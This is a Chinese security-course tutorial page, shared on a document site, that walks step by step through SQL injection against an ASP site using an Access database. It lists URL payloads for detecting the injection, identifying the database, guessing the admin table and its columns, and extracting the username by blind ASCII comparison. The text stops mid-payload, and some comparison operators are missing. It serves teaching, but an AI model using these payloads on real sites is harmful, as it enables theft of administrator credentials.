计算机安全技术TOOLS教程课件6.1.2 实例:注入攻击Access.docVIP

计算机安全技术TOOLS教程课件6.1.2 实例:注入攻击Access.doc

  1. 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
  2. 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载
  3. 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
  4. 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
  5. 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们
  6. 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
  7. 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
6.1.2 实例:注入攻击Access 第1步:加单引号。 如图6.18所示,在浏览器地址栏中/productDetail_c.asp?ID=568后面加一个单引号,按Enter键后,服务器返回错误提示。 图6.18 加单引号 第2步:测试“and 1=1”。如图6.19所示,在浏览器地址栏中/ productDetail_c.asp?ID=568后面加“and 1=1”,按Enter键后,服务器返回正常页面。 图6.19 测试“and 1=1” 第3步:测试“and 1=2”。 如图6.20所示,在浏览器地址栏中/productDetail_c.asp?ID=568后面加“and 1=2”,按Enter键后,服务器返回异常页面。 图6.20 测试“and 1=2” 第4步:判断数据库类型。 Access和SQL Server都有自己的系统表,比如存放数据库中所有对象的表:Access是在系统表“msysobjects”中,但在Web环境下读该表会提示“没有权限”;SQL?Server是在表“sysobjects”中,在Web环境下可正常读取。 在确认可以注入的情况下,使用下面的语句: /productDetail_c.asp?ID=568 and (select count(*) from sysobjects)0 如果数据库是Access,由于找不到表sysobjects,服务器返回如图6.21所示的错误提示。 图6.21 select count(*) from sysobjects 使用下面的语句: /productDetail_c.asp?ID=568 and (select count(*) from msysobjects)0 如果是Access数据库,服务器会返回错误提示“在msysobjects上没有读取数据权限。”,如图6.22所示,如果Web程序有容错能力,那么服务器返回的页面也会与原页面不同。 由上可以判断数据库用的是Access。 第5步:猜测表名。猜测表名时也可以使用如下形式: /productDetail_c.asp?ID=568 and (select count(*) from admin)=0 /productDetail_c.asp?ID=568 and exists(select * from admin)是向数据库查询是否存在admin表,如果存在则返回正常页面,不存在会返回错误提示,如此循环,直至猜测到表名为止。 返回正常页面时,猜测到管理员表是admin。 第6步:猜测字段名(用户名和密码字段)。表名猜出来后,将count(*)替换成count(字段名),用同样的原理猜解字段名。 首先猜测用户名字段: /productDetail_c.asp?ID=568 and (select count(username) from admin)=0 /productDetail_c.asp?ID=568 and exists(select username from admin)返回正常页面,用户名字段猜测成功,用户名字段名是“username”。 然后猜测密码字段: /productDetail_c.asp?ID=568 and (select count(password) from admin)=0 /productDetail_c.asp?ID=568 and exists(select password from admin)返回正常页面,则密码字段猜测成功,密码字段名是“password”。 第7步:猜测用户名。已知表admin中存在username字段,下面使用ASCII逐字解码法猜测用户名。 猜测用户名的长度: /productDetail_c.asp?ID=568 and (select top 1 len(username) from admin)4返回正常页面;/productDetail_c.asp?ID=568 and (select top 1 len(username) from admin)5返回不正常页面,可知用户名长度是5。 在得到用户名长度后,用asc (mid (username, N, 1))获得第N位字符的ASCII码,比如: (1)猜测第1个字符。 从ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)0到ID=568 and (select top 1 asc (mid (username, 1, 1)) from admin)96显示正常,而ID=568 and (select top 1 asc (mid (username, 1, 1)) from adm

您可能关注的文档

文档评论(0)

带头大哥 + 关注
实名认证
文档贡献者

该用户很懒,什么也没介绍

1亿VIP精品文档

相关文档